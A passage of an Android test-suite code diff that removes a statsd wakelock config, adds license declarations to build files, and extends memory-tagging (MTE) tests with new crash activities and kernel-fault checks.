-        AtomMatcher.Builder pluggedStateBatteryPluggedWireless = AtomMatcher.newBuilder()
-                .setId(pluggedStateBatteryPluggedWirelessId)
-                .setSimpleAtomMatcher(SimpleAtomMatcher.newBuilder()
-                        .setAtomId(Atom.PLUGGED_STATE_CHANGED_FIELD_NUMBER)
-                        .addFieldValueMatcher(FieldValueMatcher.newBuilder()
-                                .setField(PluggedStateChanged.STATE_FIELD_NUMBER)
-                                .setEqInt(BatteryPluggedStateEnum.BATTERY_PLUGGED_WIRELESS_VALUE)));
-
-        AtomMatcher.Builder pluggedStateBatteryPlugged = AtomMatcher.newBuilder()
-                .setId(pluggedStateBatteryPluggedId)
-                .setCombination(AtomMatcher.Combination.newBuilder()
-                        .setOperation(LogicalOperation.OR)
-                        .addMatcher(pluggedStateBatteryPluggedAcId)
-                        .addMatcher(pluggedStateBatteryPluggedUsbId)
-                        .addMatcher(pluggedStateBatteryPluggedWirelessId));
-
-        Predicate.Builder deviceIsUnplugged = Predicate.newBuilder()
-                .setId(deviceIsUnpluggedId)
-                .setSimplePredicate(SimplePredicate.newBuilder()
-                        .setStart(pluggedStateBatteryPluggedNoneId)
-                        .setStop(pluggedStateBatteryPluggedId)
-                        .setCountNesting(false));
-
-        AtomMatcher.Builder screenStateUnknown = AtomMatcher.newBuilder()
-                .setId(screenStateUnknownId)
-                .setSimpleAtomMatcher(SimpleAtomMatcher.newBuilder()
-                        .setAtomId(Atom.SCREEN_STATE_CHANGED_FIELD_NUMBER)
-                        .addFieldValueMatcher(FieldValueMatcher.newBuilder()
-                                .setField(ScreenStateChanged.STATE_FIELD_NUMBER)
-                                .setEqInt(DisplayStateEnum.DISPLAY_STATE_UNKNOWN_VALUE)));
-
-        AtomMatcher.Builder screenStateOff = AtomMatcher.newBuilder()
-                .setId(screenStateOffId)
-                .setSimpleAtomMatcher(SimpleAtomMatcher.newBuilder()
-                        .setAtomId(Atom.SCREEN_STATE_CHANGED_FIELD_NUMBER)
-                        .addFieldValueMatcher(FieldValueMatcher.newBuilder()
-                                .setField(ScreenStateChanged.STATE_FIELD_NUMBER)
-                                .setEqInt(DisplayStateEnum.DISPLAY_STATE_OFF_VALUE)));
-
-        AtomMatcher.Builder screenStateOn = AtomMatcher.newBuilder()
-                .setId(screenStateOnId)
-                .setSimpleAtomMatcher(SimpleAtomMatcher.newBuilder()
-                        .setAtomId(Atom.SCREEN_STATE_CHANGED_FIELD_NUMBER)
-                        .addFieldValueMatcher(FieldValueMatcher.newBuilder()
-                                .setField(ScreenStateChanged.STATE_FIELD_NUMBER)
-                                .setEqInt(DisplayStateEnum.DISPLAY_STATE_ON_VALUE)));
-
-        AtomMatcher.Builder screenStateDoze = AtomMatcher.newBuilder()
-                .setId(screenStateDozeId)
-                .setSimpleAtomMatcher(SimpleAtomMatcher.newBuilder()
-                        .setAtomId(Atom.SCREEN_STATE_CHANGED_FIELD_NUMBER)
-                        .addFieldValueMatcher(FieldValueMatcher.newBuilder()
-                                .setField(ScreenStateChanged.STATE_FIELD_NUMBER)
-                                .setEqInt(DisplayStateEnum.DISPLAY_STATE_DOZE_VALUE)));
-
-        AtomMatcher.Builder screenStateDozeSuspend = AtomMatcher.newBuilder()
-                .setId(screenStateDozeSuspendId)
-                .setSimpleAtomMatcher(SimpleAtomMatcher.newBuilder()
-                        .setAtomId(Atom.SCREEN_STATE_CHANGED_FIELD_NUMBER)
-                        .addFieldValueMatcher(FieldValueMatcher.newBuilder()
-                                .setField(ScreenStateChanged.STATE_FIELD_NUMBER)
-                                .setEqInt(DisplayStateEnum.DISPLAY_STATE_DOZE_SUSPEND_VALUE)));
-
-        AtomMatcher.Builder screenStateVr = AtomMatcher.newBuilder()
-                .setId(screenStateVrId)
-                .setSimpleAtomMatcher(SimpleAtomMatcher.newBuilder()
-                        .setAtomId(Atom.SCREEN_STATE_CHANGED_FIELD_NUMBER)
-                        .addFieldValueMatcher(FieldValueMatcher.newBuilder()
-                                .setField(ScreenStateChanged.STATE_FIELD_NUMBER)
-                                .setEqInt(DisplayStateEnum.DISPLAY_STATE_VR_VALUE)));
-
-        AtomMatcher.Builder screenStateOnSuspend = AtomMatcher.newBuilder()
-                .setId(screenStateOnSuspendId)
-                .setSimpleAtomMatcher(SimpleAtomMatcher.newBuilder()
-                        .setAtomId(Atom.SCREEN_STATE_CHANGED_FIELD_NUMBER)
-                        .addFieldValueMatcher(FieldValueMatcher.newBuilder()
-                                .setField(ScreenStateChanged.STATE_FIELD_NUMBER)
-                                .setEqInt(DisplayStateEnum.DISPLAY_STATE_ON_SUSPEND_VALUE)));
-
-
-        AtomMatcher.Builder screenTurnedOff = AtomMatcher.newBuilder()
-                .setId(screenTurnedOffId)
-                .setCombination(AtomMatcher.Combination.newBuilder()
-                        .setOperation(LogicalOperation.OR)
-                        .addMatcher(screenStateOffId)
-                        .addMatcher(screenStateDozeId)
-                        .addMatcher(screenStateDozeSuspendId)
-                        .addMatcher(screenStateUnknownId));
-
-        AtomMatcher.Builder screenTurnedOn = AtomMatcher.newBuilder()
-                .setId(screenTurnedOnId)
-                .setCombination(AtomMatcher.Combination.newBuilder()
-                        .setOperation(LogicalOperation.OR)
-                        .addMatcher(screenStateOnId)
-                        .addMatcher(screenStateOnSuspendId)
-                        .addMatcher(screenStateVrId));
-
-        Predicate.Builder screenIsOff = Predicate.newBuilder()
-                .setId(screenIsOffId)
-                .setSimplePredicate(SimplePredicate.newBuilder()
-                        .setStart(screenTurnedOffId)
-                        .setStop(screenTurnedOnId)
-                        .setCountNesting(false));
-
-
-        Predicate.Builder screenOffBatteryOn = Predicate.newBuilder()
-                .setId(screenOffBatteryOnId)
-                .setCombination(Predicate.Combination.newBuilder()
-                        .setOperation(LogicalOperation.AND)
-                        .addPredicate(screenIsOffId)
-                        .addPredicate(deviceIsUnpluggedId));
-
-        StatsdConfig.Builder builder = createConfigBuilder();
-        builder.addDurationMetric(DurationMetric.newBuilder()
-                .setId(metricId)
-                .setWhat(partialWakelockIsOnId)
-                .setCondition(screenOffBatteryOnId)
-                .setDimensionsInWhat(dimensions)
-                .setBucket(bucketsize))
-                .addAtomMatcher(wakelockAcquire)
-                .addAtomMatcher(wakelockChangeAcquire)
-                .addAtomMatcher(wakelockRelease)
-                .addAtomMatcher(wakelockChangeRelease)
-                .addAtomMatcher(wakelockOn)
-                .addAtomMatcher(wakelockOff)
-                .addAtomMatcher(pluggedStateBatteryPluggedNone)
-                .addAtomMatcher(pluggedStateBatteryPluggedAc)
-                .addAtomMatcher(pluggedStateBatteryPluggedUsb)
-                .addAtomMatcher(pluggedStateBatteryPluggedWireless)
-                .addAtomMatcher(pluggedStateBatteryPlugged)
-                .addAtomMatcher(screenStateUnknown)
-                .addAtomMatcher(screenStateOff)
-                .addAtomMatcher(screenStateOn)
-                .addAtomMatcher(screenStateDoze)
-                .addAtomMatcher(screenStateDozeSuspend)
-                .addAtomMatcher(screenStateVr)
-                .addAtomMatcher(screenStateOnSuspend)
-                .addAtomMatcher(screenTurnedOff)
-                .addAtomMatcher(screenTurnedOn)
-                .addPredicate(wakelockPredicate)
-                .addPredicate(deviceIsUnplugged)
-                .addPredicate(screenIsOff)
-                .addPredicate(screenOffBatteryOn);
-
-        uploadConfig(builder);
-    }
-}
diff --git a/hostsidetests/sustainedperf/Android.mk b/hostsidetests/sustainedperf/Android.mk
index 3187415..6a5efef 100644
--- a/hostsidetests/sustainedperf/Android.mk
+++ b/hostsidetests/sustainedperf/Android.mk
@@ -24,6 +24,8 @@
 LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_MODULE := CtsSustainedPerformanceHostTestCases
+LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0 SPDX-license-identifier-BSD SPDX-license-identifier-MIT SPDX-license-identifier-NCSA
+LOCAL_LICENSE_CONDITIONS := notice
 LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed compatibility-host-util
 
 include $(BUILD_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/sustainedperf/dhrystone/Android.mk b/hostsidetests/sustainedperf/dhrystone/Android.mk
index d86378e..877b468 100644
--- a/hostsidetests/sustainedperf/dhrystone/Android.mk
+++ b/hostsidetests/sustainedperf/dhrystone/Android.mk
@@ -7,6 +7,9 @@
 
 include $(CLEAR_VARS)
 LOCAL_MODULE := dhry
+LOCAL_LICENSE_KINDS := SPDX-license-identifier-BSD SPDX-license-identifier-MIT SPDX-license-identifier-NCSA
+LOCAL_LICENSE_CONDITIONS := notice
+LOCAL_NOTICE_FILE := $(LOCAL_PATH)/LICENSE.TXT
 LOCAL_SRC_FILES := dhry_1.c dhry_2.c
 LOCAL_CFLAGS := -O3 -fno-inline-functions -DMSC_CLOCK -DCLK_TCK=1000000
 LOCAL_CFLAGS += -Wall -Werror -Wno-incompatible-library-redeclaration
diff --git a/hostsidetests/sustainedperf/shadertoy_android/jni/Android.bp b/hostsidetests/sustainedperf/shadertoy_android/jni/Android.bp
index a9da55c..b93a0a2 100644
--- a/hostsidetests/sustainedperf/shadertoy_android/jni/Android.bp
+++ b/hostsidetests/sustainedperf/shadertoy_android/jni/Android.bp
@@ -13,6 +13,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 cc_test_library {
     name: "libgltest",
     srcs: [
diff --git a/hostsidetests/systemui/Android.bp b/hostsidetests/systemui/Android.bp
index 506b789..748ac0a 100644
--- a/hostsidetests/systemui/Android.bp
+++ b/hostsidetests/systemui/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsSystemUiHostTestCases",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/systemui/app/Android.bp b/hostsidetests/systemui/app/Android.bp
index fba1c1b..72ebe86 100644
--- a/hostsidetests/systemui/app/Android.bp
+++ b/hostsidetests/systemui/app/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsSystemUiDeviceApp",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/systemui/audiorecorder_app_audiorecord/Android.bp b/hostsidetests/systemui/audiorecorder_app_audiorecord/Android.bp
index 306a25e..1d4c23b 100644
--- a/hostsidetests/systemui/audiorecorder_app_audiorecord/Android.bp
+++ b/hostsidetests/systemui/audiorecorder_app_audiorecord/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsSystemUiDeviceAudioRecorderAppAudioRecord",
     static_libs: ["CtsSystemUiDeviceAudioRecorderBase"],
diff --git a/hostsidetests/systemui/audiorecorder_app_mediarecorder/Android.bp b/hostsidetests/systemui/audiorecorder_app_mediarecorder/Android.bp
index e97729a..4eece94e 100644
--- a/hostsidetests/systemui/audiorecorder_app_mediarecorder/Android.bp
+++ b/hostsidetests/systemui/audiorecorder_app_mediarecorder/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsSystemUiDeviceAudioRecorderAppMediaRecorder",
     static_libs: ["CtsSystemUiDeviceAudioRecorderBase"],
diff --git a/hostsidetests/systemui/audiorecorder_base/Android.bp b/hostsidetests/systemui/audiorecorder_base/Android.bp
index ba9c7e6..b8a394e 100644
--- a/hostsidetests/systemui/audiorecorder_base/Android.bp
+++ b/hostsidetests/systemui/audiorecorder_base/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_library {
     name: "CtsSystemUiDeviceAudioRecorderBase",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/tagging/Android.bp b/hostsidetests/tagging/Android.bp
index 7fc561f..7cd3c29 100644
--- a/hostsidetests/tagging/Android.bp
+++ b/hostsidetests/tagging/Android.bp
@@ -1,32 +1,6 @@
-// Full truth table of whether tagging should be enabled. Note that a report from statsd is not
-// available if the kernel or manifest flag is disabled, as the zygote never probes compat (i.e.
-// mPlatformCompat.isChangeEnabled(NATIVE_HEAP_POINTER_TAGGING) never gets run). Also note that
-// disabling a compat feature is only supported on userdebug builds.
-//
-// +==================================================================================+
-// | #  | Kernel  | Manifest | SDK   | Forced   | Userdebug || Has     | Report from |
-// |    | Support | Flag     | Level | Compat   | Build     || Tagging | statsd?     |
-// | -- | ------- | -------- | ----- | -------- | --------- || ------- | ----------- |
-// | 1  | No      | -        | -     | -        | -         || No      | No          |
-// | 2  | Yes     | Off      | -     | -        | -         || No      | No          |
-// | 3  | Yes     | None/On  | 29    | Off/None | -         || No      | Yes         |
-// | 4  | Yes     | None/On  | 29/30 | On       | -         || Yes     | Yes         |
-// | 5  | Yes     | None/On  | 30    | None     | -         || Yes     | Yes         |
-// | 6  | Yes     | None/On  | 30    | Off      | Yes       || No      | Yes         |
-// | 7  | Yes     | None/On  | 30    | Off      | No        || Yes     | Yes         |
-// +==================================================================================+
-//
-// And coverage of this truth table comes from:
-//  #1. All tests on a device with an unsupported kernel.
-//  #2. TaggingManifestDisabledTest.*
-//  #3. Tagging(ManifestEnabled)?Sdk29.testDefault
-//  #4. Tagging(ManifestEnabled)?Sdk(29|30).testCompatFeatureEnabled
-//  #5. Tagging(ManifestEnabled)?Sdk30.testDefault
-//  #6. Tagging(ManifestEnabled)?Sdk30.testCompatFeatureDisabledUserdebugBuild
-//  #7. Tagging(ManifestEnabled)?Sdk30.testCompatFeatureDisabledUserBuild
-//
-// MTE tests are done at SDK level 30. The level doesn't really matter; there is
-// no manifest flag for MTE, and the compat feature is always disabled.
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
 
 java_test_host {
     name: "CtsTaggingHostTestCases",
diff --git a/hostsidetests/tagging/common/Android.bp b/hostsidetests/tagging/common/Android.bp
index 3a2a0dd..468940e 100644
--- a/hostsidetests/tagging/common/Android.bp
+++ b/hostsidetests/tagging/common/Android.bp
@@ -16,6 +16,10 @@
 // Build the common library for use device-side
 //##############################################################################
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_library {
     name: "tagging-common-devicesidelib",
     srcs: ["src/**/Utils.java"],
diff --git a/hostsidetests/tagging/common/jni/android_cts_tagging_Utils.cpp b/hostsidetests/tagging/common/jni/android_cts_tagging_Utils.cpp
index 45bedd9..af48ace 100644
--- a/hostsidetests/tagging/common/jni/android_cts_tagging_Utils.cpp
+++ b/hostsidetests/tagging/common/jni/android_cts_tagging_Utils.cpp
@@ -18,9 +18,11 @@
  * Native implementation for the JniStaticTest parts.
  */
 
+#include <errno.h>
 #include <jni.h>
 #include <stdlib.h>
 #include <sys/prctl.h>
+#include <sys/utsname.h>
 
 extern "C" JNIEXPORT jboolean
 Java_android_cts_tagging_Utils_kernelSupportsTaggedPointers() {
@@ -55,3 +57,13 @@
   (void)load;
   delete[] p;
 }
+
+extern "C"
+JNIEXPORT jboolean JNICALL
+Java_android_cts_tagging_Utils_mistaggedKernelUaccessFails(JNIEnv *) {
+  auto *p = new utsname;
+  utsname* mistagged_p = reinterpret_cast<utsname*>(reinterpret_cast<uintptr_t>(p) + (1ULL << 56));
+  bool result = uname(mistagged_p) != 0 && errno == EFAULT;
+  delete p;
+  return result;
+}
diff --git a/hostsidetests/tagging/common/src/android/cts/tagging/Utils.java b/hostsidetests/tagging/common/src/android/cts/tagging/Utils.java
index 2897c9c..dbd62d3 100644
--- a/hostsidetests/tagging/common/src/android/cts/tagging/Utils.java
+++ b/hostsidetests/tagging/common/src/android/cts/tagging/Utils.java
@@ -23,4 +23,5 @@
     public static native boolean kernelSupportsTaggedPointers();
     public static native int nativeHeapPointerTag();
     public static native void accessMistaggedPointer();
+    public static native boolean mistaggedKernelUaccessFails();
 }
diff --git a/hostsidetests/tagging/manifest_disabled/Android.bp b/hostsidetests/tagging/manifest_disabled/Android.bp
index 5c10e2d..45603a7 100644
--- a/hostsidetests/tagging/manifest_disabled/Android.bp
+++ b/hostsidetests/tagging/manifest_disabled/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsHostsideTaggingManifestDisabledApp",
     defaults: ["cts_tagging_app_defaults"],
diff --git a/hostsidetests/tagging/manifest_enabled_sdk_29/Android.bp b/hostsidetests/tagging/manifest_enabled_sdk_29/Android.bp
index 157f16a..0087508 100644
--- a/hostsidetests/tagging/manifest_enabled_sdk_29/Android.bp
+++ b/hostsidetests/tagging/manifest_enabled_sdk_29/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsHostsideTaggingManifestEnabledSdk29App",
     defaults: ["cts_tagging_app_defaults"],
diff --git a/hostsidetests/tagging/manifest_enabled_sdk_30/Android.bp b/hostsidetests/tagging/manifest_enabled_sdk_30/Android.bp
index 0fdeb36..5947a88 100644
--- a/hostsidetests/tagging/manifest_enabled_sdk_30/Android.bp
+++ b/hostsidetests/tagging/manifest_enabled_sdk_30/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsHostsideTaggingManifestEnabledSdk30App",
     defaults: ["cts_tagging_app_defaults"],
diff --git a/hostsidetests/tagging/manifest_enabled_sdk_30/AndroidManifest.xml b/hostsidetests/tagging/manifest_enabled_sdk_30/AndroidManifest.xml
index dae0c0f..07ac8a6 100644
--- a/hostsidetests/tagging/manifest_enabled_sdk_30/AndroidManifest.xml
+++ b/hostsidetests/tagging/manifest_enabled_sdk_30/AndroidManifest.xml
@@ -19,11 +19,8 @@
 
     <uses-sdk android:targetSdkVersion="30" />
 
-     <!-- Note, do not set debuggable:true. Pre-release platforms allow for
-          debuggable apps to disable compat features, even if it's a `user`
-          build. By using a non-debuggable app, we replicate a proper release-
-          build device. -->
-    <application android:allowNativeHeapPointerTagging="true">
+    <application android:debuggable="true"
+                 android:allowNativeHeapPointerTagging="true">
         <uses-library android:name="android.test.runner" />
     </application>
 
diff --git a/hostsidetests/tagging/sdk_29/Android.bp b/hostsidetests/tagging/sdk_29/Android.bp
index 2ee016e..a5c4a59 100644
--- a/hostsidetests/tagging/sdk_29/Android.bp
+++ b/hostsidetests/tagging/sdk_29/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsHostsideTaggingSdk29App",
     defaults: ["cts_tagging_app_defaults"],
diff --git a/hostsidetests/tagging/sdk_30/Android.bp b/hostsidetests/tagging/sdk_30/Android.bp
index 0d13db1..0b25daa 100644
--- a/hostsidetests/tagging/sdk_30/Android.bp
+++ b/hostsidetests/tagging/sdk_30/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsHostsideTaggingSdk30App",
     defaults: ["cts_tagging_app_defaults"],
diff --git a/hostsidetests/tagging/sdk_30/AndroidManifest.xml b/hostsidetests/tagging/sdk_30/AndroidManifest.xml
index f53a22a..cc1c6c4 100644
--- a/hostsidetests/tagging/sdk_30/AndroidManifest.xml
+++ b/hostsidetests/tagging/sdk_30/AndroidManifest.xml
@@ -19,18 +19,25 @@
 
     <uses-sdk android:targetSdkVersion="30" />
     <uses-permission android:name="android.permission.READ_LOGS"/>
+    <uses-permission android:name="android.permission.PACKAGE_USAGE_STATS"/>
 
-    <!-- Note, do not set debuggable:true. Pre-release platforms allow for
-         debuggable apps to disable compat features, even if it's a `user`
-         build. By using a non-debuggable app, we replicate a proper release-
-         build device. -->
-    <application>
-        <uses-library android:name="android.test.runner" />
-        <activity android:name=".CrashActivity" android:process=":CrashProcess" />
+    <application android:debuggable="true">
+      <uses-library android:name="android.test.runner" />
+      <processes>
+        <process />
+        <process android:process=":CrashMemtagSync"
+                 android:memtagMode="sync" />
+        <process android:process=":CrashMemtagAsync"
+                 android:memtagMode="async" />
+        <process android:process=":CrashProcess" />
+      </processes>
+
+      <activity android:name=".CrashActivity" android:process=":CrashProcess" />
+      <activity android:name=".CrashMemtagSyncActivity" android:process=":CrashMemtagSync" />
+      <activity android:name=".CrashMemtagAsyncActivity" android:process=":CrashMemtagAsync" />
     </application>
 
     <instrumentation
         android:name="androidx.test.runner.AndroidJUnitRunner"
         android:targetPackage="android.cts.tagging.sdk30" />
 </manifest>
-
diff --git a/hostsidetests/tagging/sdk_30/src/android/cts/tagging/sdk30/CrashActivity.java b/hostsidetests/tagging/sdk_30/src/android/cts/tagging/sdk30/CrashActivity.java
index 1e3a421..d790a4d 100644
--- a/hostsidetests/tagging/sdk_30/src/android/cts/tagging/sdk30/CrashActivity.java
+++ b/hostsidetests/tagging/sdk_30/src/android/cts/tagging/sdk30/CrashActivity.java
@@ -25,5 +25,6 @@
     public void onCreate(Bundle bundle) {
         super.onCreate(bundle);
         Utils.accessMistaggedPointer();
+        finish();
     }
 }
diff --git a/hostsidetests/tagging/sdk_30/src/android/cts/tagging/sdk30/CrashMemtagAsyncActivity.java b/hostsidetests/tagging/sdk_30/src/android/cts/tagging/sdk30/CrashMemtagAsyncActivity.java
new file mode 100644
index 0000000..7dca96b
--- /dev/null
+++ b/hostsidetests/tagging/sdk_30/src/android/cts/tagging/sdk30/CrashMemtagAsyncActivity.java
@@ -0,0 +1,30 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.cts.tagging.sdk30;
+
+import android.app.Activity;
+import android.cts.tagging.Utils;
+import android.os.Bundle;
+
+public class CrashMemtagAsyncActivity extends Activity {
+    @Override
+    public void onCreate(Bundle bundle) {
+        super.onCreate(bundle);
+        Utils.accessMistaggedPointer();
+        finish();
+    }
+}
diff --git a/hostsidetests/tagging/sdk_30/src/android/cts/tagging/sdk30/CrashMemtagSyncActivity.java b/hostsidetests/tagging/sdk_30/src/android/cts/tagging/sdk30/CrashMemtagSyncActivity.java
new file mode 100644
index 0000000..4136b3d2
--- /dev/null
+++ b/hostsidetests/tagging/sdk_30/src/android/cts/tagging/sdk30/CrashMemtagSyncActivity.java
@@ -0,0 +1,30 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.cts.tagging.sdk30;
+
+import android.app.Activity;
+import android.cts.tagging.Utils;
+import android.os.Bundle;
+
+public class CrashMemtagSyncActivity extends Activity {
+    @Override
+    public void onCreate(Bundle bundle) {
+        super.onCreate(bundle);
+        Utils.accessMistaggedPointer();
+        finish();
+    }
+}
diff --git a/hostsidetests/tagging/sdk_30/src/android/cts/tagging/sdk30/TaggingTest.java b/hostsidetests/tagging/sdk_30/src/android/cts/tagging/sdk30/TaggingTest.java
index 7341238..6261de1 100644
--- a/hostsidetests/tagging/sdk_30/src/android/cts/tagging/sdk30/TaggingTest.java
+++ b/hostsidetests/tagging/sdk_30/src/android/cts/tagging/sdk30/TaggingTest.java
@@ -17,6 +17,7 @@
 package android.cts.tagging.sdk30;
 
 import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertNotEquals;
 import static org.junit.Assert.assertTrue;
 
@@ -58,12 +59,13 @@
     }
 
     @Test
-    public void testMemoryTagChecksEnabled() throws Exception {
+    public void testMemoryTagSyncChecksEnabled() throws Exception {
         final DropBoxReceiver receiver =
                 new DropBoxReceiver(
                         mContext,
                         NATIVE_CRASH_TAG,
                         mContext.getPackageName() + ":CrashProcess",
+                        "SEGV_MTESERR",
                         "backtrace:");
         Intent intent = new Intent();
         intent.setClass(mContext, CrashActivity.class);
@@ -74,7 +76,60 @@
     }
 
     @Test
+    public void testMemoryTagAsyncChecksEnabled() throws Exception {
+        final DropBoxReceiver receiver =
+                new DropBoxReceiver(
+                        mContext,
+                        NATIVE_CRASH_TAG,
+                        mContext.getPackageName() + ":CrashProcess",
+                        "SEGV_MTEAERR",
+                        "backtrace:");
+        Intent intent = new Intent();
+        intent.setClass(mContext, CrashActivity.class);
+        intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+        mContext.startActivity(intent);
+
+        assertTrue(receiver.await());
+        assertTrue(Utils.mistaggedKernelUaccessFails());
+    }
+
+    @Test
     public void testMemoryTagChecksDisabled() {
         Utils.accessMistaggedPointer();
+        assertFalse(Utils.mistaggedKernelUaccessFails());
+    }
+
+    @Test
+    public void testMemoryTagSyncActivityChecksEnabled() throws Exception {
+        final DropBoxReceiver receiver =
+                new DropBoxReceiver(
+                        mContext,
+                        NATIVE_CRASH_TAG,
+                        mContext.getPackageName() + ":CrashMemtagSync",
+                        "SEGV_MTESERR",
+                        "backtrace:");
+        Intent intent = new Intent();
+        intent.setClass(mContext, CrashMemtagSyncActivity.class);
+        intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+        mContext.startActivity(intent);
+
+        assertTrue(receiver.await());
+    }
+
+    @Test
+    public void testMemoryTagAsyncActivityChecksEnabled() throws Exception {
+        final DropBoxReceiver receiver =
+                new DropBoxReceiver(
+                        mContext,
+                        NATIVE_CRASH_TAG,
+                        mContext.getPackageName() + ":CrashMemtagAsync",
+                        "SEGV_MTEAERR",
+                        "backtrace:");
+        Intent intent = new Intent();
+        intent.setClass(mContext, CrashMemtagAsyncActivity.class);
+        intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+        mContext.startActivity(intent);
+
+        assertTrue(receiver.await());
     }
 }
diff --git a/hostsidetests/tagging/src/com/android/cts/tagging/TaggingBaseTest.java b/hostsidetests/tagging/src/com/android/cts/tagging/TaggingBaseTest.java
index c5c9595..30d6841 100644
--- a/hostsidetests/tagging/src/com/android/cts/tagging/TaggingBaseTest.java
+++ b/hostsidetests/tagging/src/com/android/cts/tagging/TaggingBaseTest.java
@@ -17,11 +17,8 @@
 package com.android.cts.tagging;
 
 import android.compat.cts.CompatChangeGatingTestCase;
-
 import com.android.tradefed.device.ITestDevice;
-
 import com.google.common.collect.ImmutableSet;
-
 import java.util.Scanner;
 
 public class TaggingBaseTest extends CompatChangeGatingTestCase {
@@ -29,8 +26,7 @@
     private static final String DEVICE_KERNEL_HELPER_APK_NAME = "DeviceKernelHelpers.apk";
     private static final String DEVICE_KERNEL_HELPER_PKG_NAME = "android.cts.tagging.support";
     private static final String KERNEL_HELPER_START_COMMAND =
-            String.format(
-                    "am start -W -a android.intent.action.MAIN -n %s/.%s",
+            String.format("am start -W -a android.intent.action.MAIN -n %s/.%s",
                     DEVICE_KERNEL_HELPER_PKG_NAME, DEVICE_KERNEL_HELPER_CLASS_NAME);
 
     protected static final long NATIVE_HEAP_POINTER_TAGGING_CHANGE_ID = 135754954;
@@ -38,55 +34,81 @@
     protected static final String DEVICE_TAGGING_DISABLED_TEST_NAME = "testHeapTaggingDisabled";
     protected static final String DEVICE_TAGGING_ENABLED_TEST_NAME = "testHeapTaggingEnabled";
 
-    // Initialized in setUp(), holds whether the device that this test is running on was determined
-    // to have both requirements for tagged pointers: the correct architecture (aarch64) and the
-    // full set of kernel patches (as indicated by a successful prctl(PR_GET_TAGGED_ADDR_CTRL)).
-    protected boolean deviceSupportsTaggedPointers = false;
+    // True if test device supports ARM MTE extension.
+    protected boolean deviceSupportsMemoryTagging = false;
     // Initialized in setUp(), contains a set of pointer tagging changes that should be reported by
-    // statsd. This set contains the compat change ID for heap tagging iff the device supports
-    // tagged pointers (and is blank otherwise), as the kernel and manifest check in the zygote
-    // happens before mPlatformCompat.isChangeEnabled(), and thus there's never a statsd entry for
-    // the feature (in either the enabled or disabled state).
+    // statsd. This set contains the compat change ID for heap tagging iff we can guarantee a statsd
+    // report containing the compat change, and is empty otherwise. If the platform doesn't call
+    // mPlatformCompat.isChangeEnabled(), the statsd report doesn't contain an entry to the status
+    // of the corresponding compat feature. Compat isn't probed in a few scenarios: non-aarch64
+    // builds, if the kernel doesn't have support for tagged pointers, if the device supports MTE,
+    // or if the app has opted-out of the tagged pointers feature via. the manifest flag.
     protected ImmutableSet reportedChangeSet = ImmutableSet.of();
     // Initialized in setUp(), contains DEVICE_TAGGING_ENABLED_TEST_NAME iff the device supports
